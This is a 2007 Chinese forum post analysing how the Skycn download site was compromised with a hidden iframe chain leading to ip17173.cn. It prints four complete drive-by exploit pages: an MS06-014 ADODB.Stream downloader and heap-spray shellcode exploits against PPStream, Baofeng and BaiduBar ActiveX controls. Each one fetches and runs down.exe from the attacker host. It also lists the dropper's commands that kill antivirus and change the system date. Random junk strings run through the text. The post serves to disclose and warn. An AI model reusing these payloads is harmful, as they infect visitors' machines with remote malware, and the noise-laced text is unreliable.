|
|
天空软件站是中国最大的软件下载站之一，如今它被挂马了，那么想必已经有几千万人中招了。Monyer并不是危言耸听，下面的分析将证明这不是个笑话。
* B$ D7 N; \/ j0 } 今天偶尔上天空看我的UDisk时(重要提醒，天空有病毒不要打开，晕了！)，发现Maxthon居然弹出程序运行警告，提示我在c盘下有个c.exe文件要运行，不知道其他人遇到这种情况怎么想，反正从我电脑上出现便成了一件恐怖的事情。看了看任务管理器，内存已经增加了几百兆，很显然被溢出了。再看看C盘的根目录，一个c.exe文件正躺在那里(这说明病毒文件还没有运行，如果运行了，估计你就什么都看不到了。)。于是便开始了以下寻马之旅。
1 x' `9 ]$ B/ ^ Q( I7 |2 p
& Q" n6 a q: z8 M& i+ V' ]# s) G% | 通过对天空站的分析，被挂马的页面仅存在于软件下载页面。再通过对加进的javascript和iframe的排除，最后落定被插入的恶意代码为：" U, J6 V2 u) u& ~$ G6 \
<iframe name=import_frame width=1height=1 src=http://iplog.skycn.com/wherefrom.php?id=32336frameborder=no></iframe>+ G0 V* Y% X% h* X' y' y& Z
它将框架的宽高设为1像素即肉眼不可见。下载whereform.php文件发现里面有另外的代码：. n+ o7 e2 d$ r4 M: ~; d
<iframe src=http://www.ip17173.cn/index.html?419891509 width=100 height=0></iframe>
: X7 e4 Q1 P/ Y8 o4 j% N" v9 c又一个框架，直接访问将看到两个计数器，挺有意思
9 h& [; k6 a& y8 O* f5 P# a2 _ & z" O7 D+ B- O9 d, u. E
继续下载ip17173.cn这个站点上的index.html文件打开，里面是一堆加密的javascript代码，这是件好事情——小偷偷东西通常都把脸蒙起来。
0 {( q' ~$ E$ ^. H1 d/ V6 k简单看了一下，虽然js被加密得面目全非，但好在解密函数还在，那么一切都变得简单，将document.write换成alert即可。运行一下index.html，弹出第二个alert窗口便是木马的所在了/ }; Z; z) w, G P a+ Y6 k# L7 U
个iframe框架，看来应该对应9个不同的木马哦。用flashget一齐下载，发现有效的仅是vip1.htm~vip4.htm这四个页面，估计剩下的是预留出来的吧。
* o) c& Z% p' S$ C对这四个页面依次做代码分析便有些冒冷汗了。以下是分析结果% H0 }/ k5 s8 Q w! _7 r/ `
+ Q, G- u5 J+ }
http://www.ip17173.cn/vip1.htm MS-06014 down.exe c:\1.exe
6 y4 [3 E4 N$ p; L( h) i7 ^; G<script>url2="http://www.ip17173.cn/down.exe";url1="http://www.ip17173.cn/run.js";try{varado=(document.createElement("object"));ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");varxml=ado.CreateObject("Microsoft.XML"+"HTTP","");varas=ado.createobject("Adodb.Stream","");xml.Open("GET",url1,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path1="..//ntuser.js";as.savetofile(path1,2);as.close();xml.Open("GET",url2,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path2="C:\\1.exe";as.savetofile(path2,2);as.close();varshell=ado.createobject("Shell.Application","");shell.shellExecute(path1,"","","open",0);}catch(e){};</script><body>查无此页<html> - D d; w/ { Y6 s4 s- `
http://www.ip17173.cn/vip2.htm ppstream down.exe c:\c.exe. t4 T, c8 Y9 Q1 [
<html><body><objectid="pingfan"classid="clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458"></object><script>varshellcode=unescape("%u00E8%u0000%u6A00%uEB03%u7E21%uE2D8%u9873%u8AFE%u8E0E%u0E4E%u55EC%u4C52%u4F4D%u004E%u3600%u2F1A%u6370%u5C3A%u2E63%u7865%u0065%u5F59%u67AF%uA164%u0030%u408B%u8B0C%u1C70%u8BAD%u0868%u8B51%u3C75%u748B%u782E%uF503%u8B56%u2076%uF503%uC933%u4149%u03AD%u33C5%u0FDB%u10BE%uF238%u0874%uCBC1%u030D%u40DA%uF1EB%u1F3B%uE775%u8B5E%u245E%uDD03%u8B66%u4B0C%u5E8B%u031C%u8BDD%u8B04%uC503%u59AB%uBCE2%u0F8B%uF980%u7463%u570A%uD0FF%uAF95%u6AAF%uEB01%u52AC%u5752%u8F8D%u10DB%u0040%uE981%u104E%u0040%u5251%uD0FF%u016A%uFF57%uEC57%u57FF%u90E8%u7468%u7074%u2F3A%u772F%u7777%u692E%u3170%u3137%u3337%u632E%u2F6E%u6F64%u6E77%u652E%u6578");bigblock=unescape("%u9090");headersize= 20;slackspace = headersize+shellcode.length;while ( bigblock.length< slackspace ) bigblock+=bigblock;fillblock = bigblock.substring(0,slackspace);block=bigblock.substring(0, bigblock.length-slackspace);while(block.length+ slackspace < 0x40000) block =block+ block + fillblock;memory =new Array();;;;memory;for (x=0; x<400;x++) memory[x] = block +shellcode;var buffer ='\x0a';while(buffer.length < 500) buffer+='\x0a\x0a\x0a\x0a';pingfan.Logo=buffer;</script></body></html>
}7 S1 g" Q! K" \http://www.ip17173.cn/vip3.htm 暴风 down.exe c:\u.exe! v1 B# |$ s* ]" @& o4 H( t2 x" q
<html>$ E( E9 I. U9 z' B( m: `9 a- D
<object classid="clsid:6BE52E1D-E586-474f-A6E2-1A85A9B4D9FB" id='target'></object>% J4 R; {* W1 O
<body>
) |% n2 ?: d; _- L. F# b. ~2 x<SCRIPT language="javascript">: N- W7 [4 q3 y2 Q# y! k
varshellcode=unescape("%u9090%u9090%uEFE9%u0000%u5A00%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uD88B%u738B%u8B3C%u1E74%u0378%u8BF3%u207E%uFB03%u4E8B%u3314%u56ED%u5157%u3F8B%uFB03%uF28B%u0E6A%uF359%u74A6%u5908%u835F%u04C7%uE245%u59E9%u5E5F%uCD8B%u468B%u0324%uD1C3%u03E1%u33C1%u66C9%u088B%u468B%u031C%uC1C3%u02E1%uC103%u008B%uC303%uFA8B%uF78B%uC683%u8B0E%u6AD0%u5904%u6AE8%u0000%u8300%u0DC6%u5652%u57FF%u5AFC%uD88B%u016A%uE859%u0057%u0000%uC683%u5613%u8046%u803E%uFA75%u3680%u5E80%uEC83%u8B40%uC7DC%u6303%u646D%u4320%u4343%u6643%u03C7%u632F%u4343%u03C6%u4320%u206A%uFF53%uEC57%u04C7%u5C03%u2E61%uC765%u0344%u7804%u0065%u3300%u50C0%u5350%u5056%u57FF%u8BFC%u6ADC%u5300%u57FF%u68F0%u2451%u0040%uFF58%u33D0%uACC0%uC085%uF975%u5251%u5356%uD2FF%u595A%uE2AB%u33EE%uC3C0%u0CE8%uFFFF%u47FF%u7465%u7250%u636F%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574%u446D%u7269%u6365%u6F74%u7972%u0041%u6957%u456E%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4C00%u616F%u4C64%u6269%u6172%u7972%u0041%u7275%u6D6C%u6E6F%u5500%u4C52%u6F44%u6E77%u6F6C%u6461%u6F54%u6946%u656C%u0041%u7468%u7074%u2F3A%u772F%u7777%u692E%u3170%u3137%u3337%u632E%u2F6E%u6F64%u6E77%u652E%u6578");
2 h4 J6 x1 O g2 I7 ?* S</script>
/ J( R$ k$ t5 A6 c<SCRIPT language="javascript">: |9 {- P- b* l0 E! M0 w( O
var bigblock = unescape("%u9090%u9090");( t% O7 ^8 x( J ~# }& J0 n/ Q' }
var headersize = 20;
M5 V/ G$ N/ t6 w! Jvar slackspace = headersize+shellcode.length;
$ s s( L/ Z! ~2 H0 g7 W6 o4 Ewhile (bigblock.length<slackspace) bigblock+=bigblock;1 W9 i2 i- i/ X( ~8 d' O# R- j' A( w2 U
fillblock = bigblock.substring(0, slackspace);; h; P* r! S; ~3 H& d0 U& _6 a0 P
block = bigblock.substring(0, bigblock.length-slackspace);
& b( N( N* q" c$ p/ J+ C! A: hwhile(block.length+slackspace<0x40000) block = block+block+fillblock;3 L: N3 T. S' ^: }
memory = new Array();
0 A$ D( b3 k# M) W" X Tfor (x=0; x<300; x++) memory[x] = block + shellcode;/ s v% v2 k4 M( C5 S# T
var buffer = '';
. j: ]- L2 [/ W" U, _# N5 O( Cwhile (buffer.length < 4057) buffer+='\x0a\x0a\x0a\x0a';
) L, C: \+ l% Qbuffer+='\x0a';6 d% f* {$ X. \+ z7 {) h
buffer+='\x0a';
# `$ Z$ p. V! A4 n( c( ^7 m4 Tbuffer+='\x0a';' u' n: Y' w: z9 s5 \+ a
buffer+='\x0a\x0a\x0a\x0a';
$ {8 y6 ~) d* A( Z9 q" e/ h, Nbuffer+='\x0a\x0a\x0a\x0a';5 ~3 t" K- m+ A5 C2 ^
target.rawParse(buffer);: r; P- M3 U7 L% E) K% @7 A, J& }
</script># g# I3 c5 C8 m6 d- `; s; L
</body>- b' O5 C5 U: L. [
</html>
8 n* d; W1 R1 K, e$ E) Thttp://www.ip17173.cn/vip4.htm BaiDuBar calc.cab down.exe , G( \4 F. D% U$ f/ V
<script>+ ~# v+ ^2 Y! n6 b: }4 I
function DowndloadCalcAndRun()
+ d6 v+ N0 g% k4 X9 j{
, |: _8 |1 j+ L3 wcom.DloadDS("http://www.ip17173.cn/calc.cab", "down.exe", 00);1 r1 m# K4 n5 V$ A" o2 U9 E! P
}
& o& k, U( x, `! j0 m</script>
9 j: { S, C$ Q' j t) Q</head>7 ?- }$ M* d8 Z$ ?: G( B3 G0 ` j/ U
<OBJECT ID = "com" CLASSID = "CLSID:{A7F05EE4-0426-454F-8013-C41E3596E9E9}">8 F# W; p) ?* I
</OBJECT>! D: Z7 z" V- u4 Y: ?6 j& w
<script>
1 T! M ~6 s/ k+ n; S5 _6 j7 tDowndloadCalcAndRun()
8 Z Y% ~/ h/ l8 X# V</script>
' Y4 V) `0 t7 T<body>欢迎使用<html>
* J4 V7 h. h2 D3 a* e4个溢出漏洞，在前几天还有3个是0day！# O! b3 D9 j1 [2 E" ?
一个是ms-06014漏洞，会将其站点的down.exe文件保存到c:\1.exe并运行
9 c/ X+ c6 o+ h8 A6 G& T' T" E% _- \3 M一个是ppstream堆栈溢出，将同样文件保存到c:\c.exe并运行
; z3 }- u' j: a# [: f# e. S B一个是暴风影音溢出漏洞，保存到c:\u.exe并运行
9 b% @* G& W [' W3 |) {: o一个是baidubar的溢出漏洞，将calc.cab 保存到down.exe并运行
$ S, ]- A8 _/ H h- V* i（这些文件运行后会自我删除，然后关闭杀毒软件，并自动下载其他木马或病毒。）% V) L- ?* ~1 V
其中ppstream直到如今仍没有官方补丁。; a( T+ N$ C Z$ Y/ k3 P9 J* {4 h0 l7 Y
down.exe文件一看名便知是个下载者了，下载下来传到virscan.org不禁又汗然一把
/ ^! V# l% o/ @: k5 J* eAVG、巴斯基、江民瑞星金山三大支柱、诺顿、趋势，全部开绿灯。即使熊猫来一个suspiciousfile，也顶多因为其是fsg2.0壳而报个可疑文件，这意味着它是不会主动删除的。麦咖啡虽然给出个pws，但也仅仅是个low的风险等级。所以几乎所有市面上常见的杀毒软件全部“罢工”。
' O. ^6 q6 I1 w1 k7 p9 k+ qdown.exe会下载21个文件。
$ ~/ M d8 z" ~http://www.ip17173.cn/down/1.exe - 20.exe、down.exe- y* F: a0 t% o9 g% K! L9 U! e
分别保存到C:\Program Files\Internet Explorer\1.exe - 20.exe、down.exe 运行
5 S5 x" `% r5 L' S还会执行
& d( ?8 w+ U6 \9 N3 G7 @cmd /c taskkill /im 360safe.exe /f% n. N. j5 j3 \3 l
cmd /c date 2000-01-01
/ Z/ ]. X$ ~) d D& {+ i5 J0 k
. A7 z' w; X- t; R) G然后还有一个删除自身的批处理。
6 C) P) P, d' Z* P2 N/ B! W
% n, u' b1 H9 ?/ Q2 K还有其他的比如放到启动项，改名字什么的。3 n w7 K$ H/ {- ]
感谢鬼仔提供信息！. ^ g8 _& e" V) n
|
|
IP卡
狗仔卡
发表于 2007-10-7 16:16:38
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
千斤顶
显身卡
楼主
发表于 2007-10-7 16:21:41
